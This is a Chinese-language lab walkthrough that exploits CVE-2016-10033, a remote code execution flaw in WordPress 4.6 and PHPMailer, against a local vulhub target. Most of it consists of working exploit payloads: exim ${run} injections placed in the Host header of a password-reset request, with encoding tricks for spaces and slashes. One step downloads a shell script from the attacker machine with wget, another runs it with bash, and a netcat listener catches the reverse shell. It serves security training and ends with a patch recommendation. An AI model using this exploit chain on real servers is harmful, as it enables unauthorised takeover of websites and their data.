CVE-2016-10033
WordPress 4.6 版本远程代码执行漏洞是一个非常严重的漏洞,未经授权的攻击者利用该漏洞就能实现远程代码执行,针对目标服务器实现即时访问,最终导致目标应用服务器的完全陷落。远程攻击者可以利用该漏洞执行代码。
WordPress <= 4.6.0 PHPMailer < 5.2.18
主要是phpmailer组件调用linux系统命令sendmail进行邮件发送,通过传入的SERVER_NAME获取主机名(即请求host值),而SERVER_NAME没有经过任何过滤,从而产生漏洞,而exim4替代了sendmail的功能,即可以利用substr,run函数等进入绕过,构造payload。
攻击机IP:192.168.35.128 靶机IP: 192.168.35.143
靶机启动环境
docker-compose build docker-compose up -d进入页面 http://192.168.35.143:8080/wp-login.php
在找回密码的页面进行抓包
构造payload进行测试
主要是利用对空格和“/”进行以下转换
空格 ==> {substr{10}{1}{tod_log}} / ==> {substr{0}{1}{spool_directory}}
初始构造的payload(该payload的作用是在/tmp/下创建success的文件夹)
target(any -froot@localhost -be ${run{/bin/touch /tmp/success}} null)转换之后的payload
target(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}touch${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}success}} null)修改抓包中的Host:构造的payload,
去靶机环境查看,确实创建了success的文件。
因此可以利用curl和wget远程下载文件,然后执行getshell
构造payload进行远程文件下载
构造初始的payload
target(any -froot@localhost -be ${run{/usr/bin/wget --output-document /tmp/rce 192.168.35.128/shell.txt}} null)转换之后的payload
target(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}usr${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}wget${substr{10}{1}{$tod_log}}--output-document${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}rce${substr{10}{1}{$tod_log}}192.168.35.128${substr{0}{1}{$spool_directory}}shell.txt}} null)在靶机环境查看,已经远程下载了rce的文件。
上传shell之后,只需执行即可
构造执行shell.txt的payload
target(any -froot@localhost -be ${run{/bin/bash /tmp/rce}} null)转换之后为
target(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}bash${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}rce}} null)同时在kali开启监听
nc -vlp 4444发送执行命令的payload
发现kali已经连接webshell
更新wordpress,phpmailer到最新的版本。
https://vulhub.org/#/environments/wordpress/pwnscriptum/
https://github.com/opsxcq/exploit-CVE-2016-10033
https://exploitbox.io/vuln/WordPress-Exploit-4-6-RCE-CODE-EXEC-CVE-2016-10033.html